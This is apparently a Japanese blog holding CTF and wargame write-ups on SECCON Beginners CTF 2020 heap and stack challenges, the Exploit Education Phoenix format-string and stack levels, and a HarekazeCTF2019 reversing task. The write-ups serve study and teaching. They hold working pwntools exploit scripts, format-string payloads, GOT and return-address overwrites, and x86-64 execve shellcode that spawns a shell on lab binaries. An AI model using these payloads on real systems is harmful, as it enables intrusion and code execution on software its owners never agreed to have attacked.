SECCON Beginners CTF 2020 Writeup
初めに
久しぶりの更新です。SECCON Beginners CTF 2020 にKUDoSで参加しました。 自分はpwnを担当したので解いた問題のwriteupを書きます。
2020年に入ってからwriteup系はgithubに練習がてら英語で書いてたりするので(こっちもあんまり更新できてない)、このブログは久しぶりです。
pythonコードは全部2系です。いい加減3系に移行します。。。
Beginners's Heap
概要
バイナリは配られませんが、接続するとfree_hookのアドレスやwin関数のアドレスを渡してくれます。
コマンド形式でchunkを操作できてヒントを見れるコマンドもあります。
しかも現在の状態に合わせて適切なヒントをくれるので、とても良心的。
ヒント見てもわからない方はglibcのmalloc/freeのchunkの管理手法についてや、tcacheについて調べると良いと思います。
方針
最終的にfree_hookの中身をwin関数のアドレスに書き換えてfreeを呼び出します。
注意すべき点はB=NULLでないとコマンド2は使えないので連続してchunkを確保することはできないようです。
以下、手順
- コマンド2でchunkを確保
- コマンド3でfreeしてchunkをtcacheに繋ぐ
- コマンド1でtcacheに繋いだchunkのsizeを0x21から0x31に、fdをlibc_free_hookに書き換える
・sizeを変える理由については、先述した連続してchunkを確保することができないため、確保した後freeするのだが、その時にまた0x20サイズのtcacheに繋いではlibc_free_hookをchunkとして確保できないため、freeしてこのchunkは0x30のtcacheに繋ぐ - コマンド2でtcacheから先ほどfreeしたchunkを確保すると同時にtcacheがlibc_free_hookを指すようになる
- コマンド3でB=NULLにしてコマンド2を実行できるようにする
- コマンド2でtcacheからchunkを獲得(libc_free_hook)、中身をwin関数のアドレスにする
- コマンド3でfreeを呼び出してwin関数実行
Exploit
Elementary Stack
概要
ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Not stripped
checksec結果
* RELRO : Partial RELRO
* Canary : Disable
* NX : Enable
* PIE : Disable
cコード、バイナリ、libcが渡されます。
バイナリの挙動としてはmain関数はループしていて,配列xのindexを指定してその中身を任意の値に書き換えることができます。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define X_NUMBER 8 __attribute__((constructor)) void setup(void) { setbuf(stdout, NULL); alarm(30); } __attribute__((noreturn)) void fatal(const char *msg) { printf("[FATAL] %s\n", msg); exit(0); } long readlong(const char *msg, char *buf, int size) { printf("%s", msg); if (read(0, buf, size) <= 0) fatal("I/O error"); buf[size - 1] = 0; return atol(buf); } int main(void) { int i; long v; char *buffer; unsigned long x[X_NUMBER]; if ((buffer = malloc(0x20)) == NULL) fatal("Memory error"); while(1) { i = (int)readlong("index: ", buffer, 0x20); v = readlong("value: ", buffer, 0x20); printf("x[%d] = %ld\n", i, v); x[i] = v; } return 0; }
方針
indexの範囲をチェックしていないことによる脆弱性があります。
またバイナリを見るとスタック上にはlocal変数が次のように配置しています。
rbp-0x54 i rbp-0x50 buffer rbp-0x48 v rbp-0x40 x[]
このためindexを-2にすればループに入る前にmallocで確保したbufferのアドレスを書き換えることができるので、スタック上の任意の値を書き換えることができたものが、スタック以外のアドレスでも任意の値に書き換えることができそうです。 これを利用して以下の手順で攻撃を仕掛けます。
- index = "-2", value = str(atol@gotのアドレス-0x8)で次のループよりgot領域を書き換えるようにする
・atol@got-0x8はmalloc@gotなので書き潰してしまって問題ない - index = ("%25$p,xx" + plt_printfのアドレス)にすることでatol関数を呼ぶとprintf関数が呼ばれるようにする
・この時atol関数の引数はbufferなのでprintf("%25$p,xx"+....)が実行される
・"%25$p"はmain関数のreturn先であるlibc_start_mainの中のアドレスなのでこれよりlibcのベースアドレスを計算する - value = ("A"*8 + one_gadget)でatol@gotをonegadgetに書き換えてshell起動
Exploit
ChildHeap
概要
ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol : Not stripped
checksec結果
* RELRO : Full RELRO
* Canary : Enable
* NX : Enable
* PIE : Disable
バイナリとlibcが配られます。またlibcのバージョンは2.29です。 セキュリティ機構はフルでついてますね。
このバイナリもコマンド形式でchunkを操作します。
ただし操作できるchunkは1つのみでスタック状に格納されている(移行ptrと呼ぶ)
操作コマンドは
1. Alloc: ptr=nullの場合にsizeを指定してのptr=malloc(size<=0x180)とサイズ分のread(0,ptr,size)を行う
2. Delete: printf("%s", ptr)を行い、確認のメッセージに対して'y'を入力するとfree(ptr)を行う
3. Wipe: ptr=nullにする
です。chunkの管理が1つしか行えないのが難しかったです。
方針
tcacheですがlibc2.29以降はdouble freeのチェックがあり、tcacheの管理構造体にもnext以外にtcache_perthread_struct構造体のポインタ型であるkeyというメンバが追加されています。(このメンバを忘れていてつまずいたりした)
なので普通に操作してては同じサイズのtcacheには1つしかchunkをつなげません。
また、ここでコマンド1の操作にはoff-by-oneの脆弱性があるため、隣り合うchunkのsizeメンバの下位1byteを\x00にすることができます。
自分の解法はかなり周りくどい気がしているので、もう少し無駄のない解法があるかもしれませんが、自分なりにこの問題のポイントは以下の点だと思っています。
- 同じサイズのtcacheにchunkを複数繋ぐ (heapアドレスリーク)
- unsorted binにchunkを繋ぐ
- overlapped chunkを作る(libcリーク)
tcacheにchunkを複数繋ぐ
これは以下の手順で行います。
- chunkA(sizeは任意だがここでは0x20)とする,chunkB(size=0x110)を隣り合うように確保し、どちらもfreeしてtcacheに繋ぐ
- 再びchunkAを確保しoff-by-oneで隣り合うchunkBのsizeを0x100にする
- chunkBを確保し(この時要求サイズは0x110)、freeするとsize=0x100に変えられているため0x100のtcacheに繋がれる
これをchunkA, B(size=0x110), C(size=0x120)...と増やしていけば要求するときはサイズが0x100出ないのにfreeすると0x100のtcacheに繋がるようなchunkを複数作ることができます。
また複数つなげばDeleteしてWipeする前にもう一度Deleteをするとchunkの中身をprintfしてくれるのでheapアドレスのリークもできます。
unsorted binにchunkを繋ぐ&overlapped chunkを作る
tcacheには同じサイズのchunkは7つまでしか繋げず、それ以降はunsorted binに繋がれます。
上の手順でサイズ0x100のtcacheに7つ繋げて、8つ目をfreeすればunsorted binに繋がるから簡単では?と思うのですが、このときfreeするchunkのprev_inuseビットは0x00で書き潰されて0になっているため、単純にfreeするとback consolidateが発生し落ちてしまいます。
なのでback consolidateが発生してもバイナリが落ちないように、偽のchunkを用意し、また偽のchunkとのconsolidateの際の、unlink(偽chunk)の処理でエラーが出ないよう偽のchunkのfd,bkを適切に設定する必要があります。
ここの説明は図などがないと難しいのですが、気になる方は下に載せるpythonコードを見ていただければと思います。
このときheapアドレスが必要になるのですが、これは上の手順でわかっています。
freeするchunkの前に隣接するchunkを大きめに取っておいて、この中身に偽のchunkを作ればoverlapped chunkが作れて、unsorted binにもchunkを繋げられます。
overlapped chunkが作れればlibc leakもできて(雑)、そこからfree_hookをone_gadgetにすればシェルが取れます。
Exploit
終わりに
自分はpwnしか見てないのでpwnについてしかわからないのですが、誘導付きの優しい問題から、それが解けてしまった人が退屈しないような難易度の問題まであってとても楽しめました。
作問者の方も有名な方ばかりで良問揃いでとてもいいBeginners向けのCTFだったと思います。
自分は2年前の第1回からbeginnersCTFに参加していて、193位->9位->3位と徐々に成長を感じられているのでとても嬉しいです。 これからも精進したいと思います。
Exploit Education Phoenix-Format編
前回の続きで、今回はFormat編
環境はサイトにあるqemu環境を持ってきた。format編は全て64bit環境で実行した。バイナリは/opt/phoenix/amd64下にある。
Format-Zero
fgetsでbuffernにサイズ分入力を受け取り、その後locals.destにbufferの内容をsprintfしてあげる。
ここにオーバーフローなどは無く、stack上でlocals.destの下に配置されているlocals.changemeを書き換えるのが目標なので、bufferをsprintfした時に33文字以上をlocals.destに書き込めれば良い。
改行も含めて"%32x\n"をbufferに書き込めば、changemeには0xaが書き込まれることになる。もちろん32以上であればなんでもいいし、format識別子もxじゃなくてもよい。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education %31x Uh oh, 'changeme' has not yet been changed. Would you like to try again? user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-zero Welcome to phoenix/format-zero, brought to you by https://exploit.education %32x Well done, the 'changeme' variable has been changed!
Format-One
Format-Zeroとほとんど一緒で、locals.changemeの書き換える内容を指定されているだけ。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one Welcome to phoenix/format-one, brought to you by https://exploit.education hoge Uh oh, 'changeme' is not the magic value, it is 0x00000000 user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one Welcome to phoenix/format-one, brought to you by https://exploit.education %32xAABB Uh oh, 'changeme' is not the magic value, it is 0x42424141 user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-one Welcome to phoenix/format-one, brought to you by https://exploit.education %32xlOvE Well done, the 'changeme' variable has been changed correctly!
Format-Two
main関数のargv[1]をstrncpyで変数bufferにコピーする。その後printf(buffer)をするのでここにFSBの脆弱性がある。
目標はchangemeを書き換えること。ここで初めてFSBといえばお馴染みの%n識別子を使用する。%nについて知らない方はハリネズミ本などを参照していただきたい。ブログだとptr-yudai氏のブログなどがわかりやすい。bufのオフセットは12だが、なぜか%12$nのような表記が使えない。なので大人しく%xを並べる。changemeのアドレスは0x600af0である。またFSBで最初にやる間違い(少なくとも自分はよくミスっていた)として、payloadをchangemeのアドレス+"%12$n"のようにしてしまうことがあるが、changemeのアドレスは8byteで表すと必ずnull byteを含んでしまうので、肝心のprintfで"%12$n"まで出力されない。なので書き込みたいアドレスは最後にくっつけるように注意。
#format-two.py from pwn import * argv1 = "%x"*15 argv1 += "%n" argv1 += p32(0x600af0) p = process(['/opt/phoenix/amd64/format-two', argv1]) p.interactive()
64bitバイナリだが、p64()を使うとargvにnullバイトが連続するみたいな事で怒られたので、payloadの最後にchangemeのアドレスを置いてやる。そのためオフセットはずれて16になる。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/format-two AAAA Welcome to phoenix/format-two, brought to you by https://exploit.education AAAABetter luck next time! user@phoenix-amd64:~/workspace$ python format-two.py [+] Starting local process '/opt/phoenix/amd64/format-two': pid 18254 [*] Switching to interactive mode [*] Process '/opt/phoenix/amd64/format-two' stopped with exit code 0 (pid 18254) Welcome to phoenix/format-two, brought to you by https://exploit.education 0d0ffffe573ffffe50fffffe550ffffe550ffffe650400705ffffe6a840036878257825782578257825782578257825? `Well done, the 'changeme' variable has been changed correctly!
Format-Three
read()で入力を読み込み、それをprintf()する。先ほど違うのは入力をread()で行なっている点とchangemeを書き換える内容が指定されているという点。%12$xなどの表記があいも変わらずできないので、コードはとても読みにくくなっている。FSBについてしっかり理解ができていれば、特に難しいこともないかと。僕のpayloadではchangemeにword(2byte)単位で書き込んでいる。過去に出題されたCTFでは出力できる文字数に制限があったりしたので%hn,%hhnを使っても書けるようにしておきたい。またbruteforceが必要な場面でも一回の攻撃にかかる時間が、より細かい単位で書き込めた方が短いので、そういう時にも役に立つ。
#format-three.py from pwn import * changeme = 0x600a90 offset = 12 padding = 20 target = 0x64457845 p = process(['/opt/phoenix/amd64/format-three']) payload = "%20x"*(padding+offset-2) payload += "%" +str(0x6445-20*(padding+offset-2))+ "x" payload += "%hn" payload += "%" +str(0x7845-0x6445)+ "x" payload += "%hn" payload += "A"*(8*padding - len(payload)) payload += p64(changeme+2) payload += "A"*8 payload += p64(changeme) p.recv() p.sendline(payload) p.interactive()
長いので出力はカット
Format-Four
format編も最後。
format-three同様にread()で読み込んだ値をprintfする。目標はソースコードに書かれたcongratulations()を呼ぶこと。
printf()の後にexit()が呼ばれてバイナリが終了するので、書き換え先はexit()のgotが良さそう。ただcongratulations()内でもexit()を読んでいるので、成功した場合はループする。
#format-four.py from pwn import * offset = 12 padding = 50 cong = 0x400644 got_exit = 0x6009f0 p = process(['/opt/phoenix/amd64/format-four']) payload = "%90x"*(offset-1 + padding-1) payload += "%" + str(0x10644- 90*(offset-1+padding-1)) + "x" payload += "%hn" payload += "%" + str(0x10040-0x644) + "x" payload += "%hn" payload += "%" + str(0x10000-0x40) + "x" payload += "%hn%hn" payload += "B"*(padding*8 - len(payload)) payload += p64(got_exit) payload += "A"*8 payload += p64(got_exit+2) payload += "A"*8 payload += p64(got_exit+4) payload += p64(got_exit+6) p.recv() p.sendline(payload) p.interactive()
まとめ
これにてfsbはおしまい
%12$xのような記法が使えないのは環境、libcの影響なんだろうか
次回はHeap編
Exploit Education Phoenix-Stack編
きっかけはこの動画を見ていたところ、
例に使用していたプログラムが乗っているサイトがちらっと見えて、気になったのでアクセスすると、何やら面白そうなサイトだった 。(現在はリニューアルしていて動画で見たものとは若干異なる)
少し覗いてみると簡単なstack over flowから始まり、kernel exploit入門的なものもある。ググっても日本語のwriteupが見当たらなかったので、一応記事にして見る。
環境は一式ダウンロードできて、自分はqemuを使った。シェルスクリプトを走らせるだけだが、一応参考にしたサイトを載せる
http://www.iet.unipi.it/p.perazzo/teaching/cybsec/LAB.01.Phoenix_setup.pdf
今回はstack編を書いていこうと思う。
実行バイナリは64bitの物を使用した。qemu環境で/opt/phoenix/amd64下にある。
ソースコードはサイトにあるのでそちらを参照していただきたい。
* もくじ
Stack-Zero
bufferにgetsで文字を入力する。目標はメモリアドレス上でlocals.bufferの下に配置されている変数locals.changemeを書き換えること。
ソースを見る通りbufのサイズは64byteなので、64文字以上入力することでBOF(Buffer Over Flow)が起こったことが確認できる。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-zero Welcome to phoenix/stack-zero, brought to you by https://exploit.education hoge Uh oh, 'changeme' has not yet been changed. Would you like to try again? user@phoenix-amd64:~/workspace$ perl -e 'print "A"x65' | /opt/phoenix/amd64/stack-zero Welcome to phoenix/stack-zero, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed!
Stack-One
main関数のargv[1]をlocals.bufferにstrcpyするようなコード。先ほどと同様locals.changemeを書き換えることが目標。
stack-zeroに加えてlocals.changemeを0x496c5962に上書きする必要がある。ここでこの環境にすでにpwntoolがインストールされていることに気がついたので利用する。pwntoolsを使わなくてもchangemeを上書きする値がascii印字可能文字のみなので64文字の後に"bYlI"を付け足してもできる。
#stack-one.py from pwn import * argv1 = "A"*64 argv1 += p32(0x496c5962) p = process(['/opt/phoenix/amd64/stack-one', argv1]) p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one Welcome to phoenix/stack-one, brought to you by https://exploit.education stack-one: specify an argument, to be copied into the "buffer" user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-one hogehuga Welcome to phoenix/stack-one, brought to you by https://exploit.education Getting closer! changeme is currently 0x00000000, we want 0x496c5962 user@phoenix-amd64:~/workspace$ python stack-one.py [+] Starting local process '/opt/phoenix/amd64/stack-one': pid 343 [*] Switching to interactive mode [*] Process '/opt/phoenix/amd64/stack-one' stopped with exit code 0 (pid 343) Welcome to phoenix/stack-one, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value
Stack-Two
環境変数ExploitEducationをgetenv()して、その変数をlocals.bufferにstrcpy()する。目標は同様、locals.changemeを指定された値に上書きすること。locals.changemeを上書きしたい値が改行文字などを含んでいるため、これもpythonで環境変数を設定させる。
#stack-two.py from pwn import * env1 = "A"*64 + "\x0a\x09\x0a\x0d" p = process(['/opt/phoenix/amd64/stack-two'], env={'ExploitEducation':env1}) p.interactive()
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-two Welcome to phoenix/stack-two, brought to you by https://exploit.education stack-two: please set the ExploitEducation environment variable user@phoenix-amd64:~/workspace$ ExploitEducation=1 /opt/phoenix/amd64/stack-two Welcome to phoenix/stack-two, brought to you by https://exploit.education Almost! changeme is currently 0x00000000, we want 0x0d0a090a user@phoenix-amd64:~/workspace$ python stack-two.py [+] Starting local process '/opt/phoenix/amd64/stack-two': pid 397 [*] Switching to interactive mode [*] Process '/opt/phoenix/amd64/stack-two' stopped with exit code 0 (pid 397) Welcome to phoenix/stack-two, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value [*] Got EOF while reading in interactive
Stack-Three
locals.bufferに直接gets()をする。gets()後メモリアドレス上でlocals.bufferの下にあるlocals.fpという関数ポインタの値にジャンプするのでfpをこれまたBOFで書き換える。ソースコードにはそれらしき関数complete_levelがあるので、fpをこの関数の先頭番地に書き換える。
user@phoenix-amd64:~/workspace$ objdump -d -M intel /opt/phoenix/amd64/stack-three |grep complete_level 000000000040069d <complete_level>: user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-three Welcome to phoenix/stack-three, brought to you by https://exploit.education hoge function pointer remains unmodified :~( better luck next time! user@phoenix-amd64:~/workspace$ perl -e 'print "A"x64 . "\x9d\x06\x40" ' | /opt/phoenix/amd64/stack-three Welcome to phoenix/stack-three, brought to you by https://exploit.education calling function pointer @ 0x40069d Congratulations, you've finished phoenix/stack-three :-) Well done!
Stack-Four
start_level関数内でgets()が呼ばれている。目標はstart_level関数のreturn先のアドレスを書き換えること。stack-threeと似ているが、threeは明示されている変数の値を書き換えるのに対して、こちらはstackに積まれたreturnアドレスを書き換えるというもの。後者の方がよりCTFで出題されるように思える。
ここで見たことのない__builtin_return_address(0)が呼ばれている。直接は関係ないがどうのような関数なのだろうか、とりあえず実行する。
user@phoenix-amd64:~/workspace$ /opt/phoenix/amd64/stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education hoge and will be returning to 0x40068d
おそらく出力されている0x40068dはstart_level関数が終了した時のret_addrである。調べて見ると__builtin_return_addres()はその名の通りreturn addressを返してくれる関数のようだ。引数によっては、より下に積まれているreturn addressも調べることができる。(アーキテクチャ依存らしいが)
objdumpからもmain関数の中のstart_level関数の呼び出し後の番地が出力されているのがわかる。
$objdump -d -M intel /opt/phoenix/amd64/stack-four ... ... 000000000040061d <complete_level>: 40061d: 55 push rbp 40061e: 48 89 e5 mov rbp,rsp 400621: bf f0 06 40 00 mov edi,0x4006f0 400626: e8 55 fe ff ff call 400480 <puts@plt> 40062b: bf 00 00 00 00 mov edi,0x0 400630: e8 5b fe ff ff call 400490 <exit@plt> 0000000000400635 <start_level>: 400635: 55 push rbp 400636: 48 89 e5 mov rbp,rsp 400639: 48 83 ec 50 sub rsp,0x50 40063d: 48 8d 45 b0 lea rax,[rbp-0x50] 400641: 48 89 c7 mov rdi,rax 400644: e8 27 fe ff ff call 400470 <gets@plt> 400649: 48 8b 45 08 mov rax,QWORD PTR [rbp+0x8] 40064d: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400651: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400655: 48 89 c6 mov rsi,rax 400658: bf 33 07 40 00 mov edi,0x400733 40065d: b8 00 00 00 00 mov eax,0x0 400662: e8 f9 fd ff ff call 400460 <printf@plt> 400667: 90 nop 400668: c9 leave 400669: c3 ret 000000000040066a <main>: 40066a: 55 push rbp 40066b: 48 89 e5 mov rbp,rsp 40066e: 48 83 ec 10 sub rsp,0x10 400672: 89 7d fc mov DWORD PTR [rbp-0x4],edi 400675: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi 400679: bf 50 07 40 00 mov edi,0x400750 40067e: e8 fd fd ff ff call 400480 <puts@plt> 400683: b8 00 00 00 00 mov eax,0x0 400688: e8 a8 ff ff ff call 400635 <start_level> 40068d: b8 00 00 00 00 mov eax,0x0 400692: c9 leave 400693: c3 ret 400694: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 40069b: 00 00 00 40069e: 66 90 xchg ax,ax ... ...
bufのアドレスは ebp-0x50 からのようなので0x50+8文字分のpayload+complete_level関数のアドレスを入力する
user@phoenix-amd64:~/workspace$ perl -e 'print "A"x88 . "\x1d\x06\x40"' | /opt/phoenix/amd64/stack-four Welcome to phoenix/stack-four, brought to you by https://exploit.education and will be returning to 0x40061d Congratulations, you've finished phoenix/stack-four :-) Well done!
Stack-Five
Fiveは呼び出す目的の関数などがなくexecve("/bin/sh",...,...)を立ち上げることが目標のようだ。
脆弱性はgetsによるoverflow。方針はいくつか考えられるが、 用意されたqemuの環境だとデフォルトでASLRがオフであること、rpのようなガジェット検索ツールが未インストールであることから、今回はシェルコードをスタック上に置いて、スタック上のアドレスにripを飛ばす方針でやる。
CTFではASLRが有効なのが基本なので、32bitでbrute-forceをしない限りは、puts,getsは動的リンクされているので、libcのアドレスをリークしつつsystem("/bin/sh")をしたり、bss領域にシェルコードを書き込んで、そこに飛ばすのが良さそう。今回はパス。
と思ってexploitコードを書いたのだが、詰まる。
自分は勘違いしていて、gdbで開いたバイナリはASLRがオフになっているのでstackのアドレスは変わらないと思っていたのだが、gdbで開くと複数の環境変数が追加で定義されて実行されるので、スタックのアドレスがずれるようだ。
reverseengineering.stackexchange.com
上の記事にあるような環境変数を出力するようなコード書いて、gdb上で動かすと、gdbでないときに比べて環境変数が色々追加されているのがわかる。
そこでどのくらいずれるのかを調べるためにコードを足して実行してみる。
#include <stdio.h> int main(int argc, char **argv, char** envp) { char** env; char* hello = "hello"; for (env = envp; *env != 0; env++) { char* thisEnv = *env; printf("%s\n", thisEnv); } printf("%s, addr: %p\n", hello, &hello); }
これをコンパイル、実行してみると、gdbを通さない時の方がスタックのアドレスが0x60大きくなっている。
これをもとに、gdbで得たbufの先頭から0x60足した値に加えて、少しずれてもごまかせるように シェルコードにnopスレッドを追加した。
#stack-five.py from pwn import * p = process(['/opt/phoenix/amd64/stack-five']) shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" gdb_diff = 0x60 buf_ongdb = 0x7fffffffe5c0 buf_addr = buf_ongdb + gdb_diff nop_off = 0x30 bufsize = 0x80 + 0x8 payload = "" payload += "\x90"*nop_off payload += shellcode payload += "\x90"*(bufsize - nop_off - len(shellcode)) payload += p64(buf_addr) p.recvline() p.sendline(payload) p.interactive()
ちなみにnopスレッドの数が0x2f~0x53だとシェルコードが動いた。スレッドに下限があるのは分かるが(ripがシェルコードの途中に飛んではいけないため)上限があるのはよくわからない。nopスレッドは連続していくつまでなんて上限は聞いたことがないが、、
シェルコードはshellstromに上がっているものを使用した。
shell-storm.org
user@phoenix-amd64:~/workspace$ python stack-five.py [+] Starting local process '/opt/phoenix/amd64/stack-five': pid 20531 [*] Switching to interactive mode $ id uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)
ASLRが無効なら下調べしなくてもbruteforceでも良さそう。ASLRが無効なことはそうそうないが、実際数bitのbruteforceが必要となる問題も最近少なくない。
Stack-Six
stack編最後の問題。ここまでは解法はすぐ思いつくような問題ばかりだったが、この問題は少し解法を思いつくのに時間がかかった。
コードをみるとgreet関数の中のbufferのoverflowができそうである、bufferがどこから始まるか調べてみると[rbp-0xa0]から始まることがわかった。amd64環境だと、whatに格納されるGREETは34文字の文字列で、strncpyでコピーできるmaxの文字列は127文字。これを足しても161(0xa1)文字なのでreturnアドレスを書き換えることができなさそうである。ただstackに積んであるmain関数のrbpの下位1byteのみ書き換えることができる。
これを利用してどうにかできないか考えると、main関数ではgreet関数後はputsした後、leave retが続く。ここでうまくmainのrbpをいじってやればleaveでrspを飛ばしてかつ、retでripを取ることができそうである。そしてripをshellcodeがあるアドレスにすれば良さそうだ。
利用できそうな箇所を探すと、main関数のstackフレームにはptrという変数がrbp-0x8に格納されている。ptrにはgetenv("ExploitEducation")のreturnが入っているので、ExploitEducationという環境変数にshellcodeを仕込んでptrをretすればうまくshellcodeが実行されそうである。つまりgreet関数に跳ぶ際にpushしたmainのrbpの下位1byteを変えてmainのrbp-0x10に書き換えてしまえば、greet関数から帰ってきたあと、leave,retでptrの値がripにpopされる。
イメージ
(gdb) set env ExploitEducation=AAAABBBB (gdb) b greet (gdb) run ... (gdb) x/30gx $rsp 0x7fffffffe560: 0x00007ffff7ffc948 0x0000000000000049 0x7fffffffe570: 0x00007fffffffe5ef 0x0000000000000001 0x7fffffffe580: 0x0000000000000049 0x00007ffff7ffb300 0x7fffffffe590: 0x0000000000000000 0x0000000000400878 0x7fffffffe5a0: 0x000000000040079b 0x0000000000000000 0x7fffffffe5b0: 0x0000000000000000 0x00007ffff7db6dde 0x7fffffffe5c0: 0x000000000040079b 0x026402d0005a0024 0x7fffffffe5d0: 0x0000000000000000 0x00007ffff7db6b1e 0x7fffffffe5e0: 0x00007ffff7ffb300 0x0a00000000000000 0x7fffffffe5f0: 0x00007fffffffe698 0x00007ffff7d8fe8f 0x7fffffffe600: 0x00007fffffffe698 0x00007fffffffe698 0x7fffffffe610: 0x00007fffffffe640 0x00000000004007e9 ------------------------------------------------------------- ↑greet()のフレーム ------------------------------------------------------------- ↓main()のフレーム 0x7fffffffe620: 0x00007fffffffe698 0x00000001ffffe6a8 0x7fffffffe630: 0x000000000040079b 0x00007fffffffef87 0x7fffffffe640: 0x0000000000000001 0x00007ffff7d8fd62 (gdb) x/s 0x7fffffffef87 0x7fffffffef87: "AAAABBBB"
gdbで見てみるとこんな感じ。mainのrbpは0x7fffffffe640でrbp-0x8の中身は環境変数ExploitEducationのアドレスになってることも確認できる。先ほども述べたが、書き換えられるのは上のマップだと0x7fffffffe610の下位1byteのみなのでこれを0x30にしてあげればmainがrbp-0x8のアドレスにretする。
stack-fiveの通りgdb有り無しではスタックのアドレスがずれるので、exploitコードでは0から8byteずつ足してbruteforceを仕掛けた。
#stack-six.py from pwn import * #x64 shellcode shellcode = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" bufsize = 127 nopsled = 0x20 for i in range(0x0, 0xff, 8): payload = "" payload += "\x90"*nopsled payload += shellcode payload += "\x90"*(bufsize - nopsled - len(shellcode) - 1 ) payload += chr(i) # <- d648 p = process(['/opt/phoenix/amd64/stack-six'], env={'ExploitEducation':payload}) try: p.sendline("ls") print p.recvline() except: continue print hex(i) p.interactive()
qemu環境だと0x50の時にshellcodeが実行されている。ちなみにnopsledを入れているが必要ない。
HarekazeCTF2019 writeup
HarekazeCTF2019のwriteupを少し。
Rev
scramble (100pt)
バイナリファイルが配られる
$file scramble scramble: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd3474e9169df7fc3a523390296856f9a2f07ca5, not stripped
gdb$pdisas main 0x0000000000000680 <+0>: push rbx 0x0000000000000681 <+1>: lea rsi,[rip+0x36c] # 0x9f4 0x0000000000000688 <+8>: mov edi,0x1 0x000000000000068d <+13>: sub rsp,0x30 0x0000000000000691 <+17>: mov rax,QWORD PTR fs:0x28 0x000000000000069a <+26>: mov QWORD PTR [rsp+0x28],rax 0x000000000000069f <+31>: xor eax,eax 0x00000000000006a1 <+33>: mov rbx,rsp 0x00000000000006a4 <+36>: call 0x650 <__printf_chk@plt> 0x00000000000006a9 <+41>: lea rdi,[rip+0x34d] # 0x9fd 0x00000000000006b0 <+48>: mov rsi,rbx 0x00000000000006b3 <+51>: xor eax,eax 0x00000000000006b5 <+53>: call 0x660 <__isoc99_scanf@plt> 0x00000000000006ba <+58>: mov rdi,rbx 0x00000000000006bd <+61>: call 0x860 <scramble> 0x00000000000006c2 <+66>: mov rdx,QWORD PTR [rsp+0x8] 0x00000000000006c7 <+71>: mov rax,QWORD PTR [rsp] 0x00000000000006cb <+75>: xor rdx,QWORD PTR [rip+0x200956] # 0x201028 <encrypted+8> 0x00000000000006d2 <+82>: xor rax,QWORD PTR [rip+0x200947] # 0x201020 <encrypted> 0x00000000000006d9 <+89>: or rdx,rax 0x00000000000006dc <+92>: jne 0x6fb <main+123> 0x00000000000006de <+94>: mov rdx,QWORD PTR [rsp+0x18] 0x00000000000006e3 <+99>: mov rax,QWORD PTR [rsp+0x10] 0x00000000000006e8 <+104>: xor rdx,QWORD PTR [rip+0x200949] # 0x201038 <encrypted+24> 0x00000000000006ef <+111>: xor rax,QWORD PTR [rip+0x20093a] # 0x201030 <encrypted+16> 0x00000000000006f6 <+118>: or rdx,rax 0x00000000000006f9 <+121>: je 0x71f <main+159> 0x00000000000006fb <+123>: lea rdi,[rip+0x309] # 0xa0b 0x0000000000000702 <+130>: call 0x630 <puts@plt> 0x0000000000000707 <+135>: xor eax,eax 0x0000000000000709 <+137>: mov rcx,QWORD PTR [rsp+0x28] 0x000000000000070e <+142>: xor rcx,QWORD PTR fs:0x28 0x0000000000000717 <+151>: jne 0x745 <main+197> 0x0000000000000719 <+153>: add rsp,0x30 0x000000000000071d <+157>: pop rbx 0x000000000000071e <+158>: ret 0x000000000000071f <+159>: mov eax,DWORD PTR [rip+0x20091b] # 0x201040 <encrypted+32> 0x0000000000000725 <+165>: cmp DWORD PTR [rbx+0x20],eax 0x0000000000000728 <+168>: jne 0x6fb <main+123> 0x000000000000072a <+170>: movzx eax,WORD PTR [rip+0x200913] # 0x201044 <encrypted+36> 0x0000000000000731 <+177>: cmp WORD PTR [rbx+0x24],ax 0x0000000000000735 <+181>: jne 0x6fb <main+123> 0x0000000000000737 <+183>: lea rdi,[rip+0x2c4] # 0xa02 0x000000000000073e <+190>: call 0x630 <puts@plt> 0x0000000000000743 <+195>: jmp 0x707 <main+135> 0x0000000000000745 <+197>: call 0x640 <__stack_chk_fail@plt>
scanf("%38s", )で38文字分の入力をscramble関数の引数に渡している。おそらくその関数がエンコードしてencryptedというシンボル名から始まるデータと何回かに分けて比較している。
方針としてはrevの100pt問題でそんなに難しくなさそうなので、angrでスクリプトを書いて見たが、まだangrがうまく使いこなせなく、解けず。仕方ないのでscramble関数を読んで見るが、レジスタも多用していて、かなり読みづらい。なのでghidraのデコンパイル機能を使って見ることに。少しghidraは触ったことがあったので良かった。
おそらくあまり参考にならない画像。てか参考にしないほうがいい。
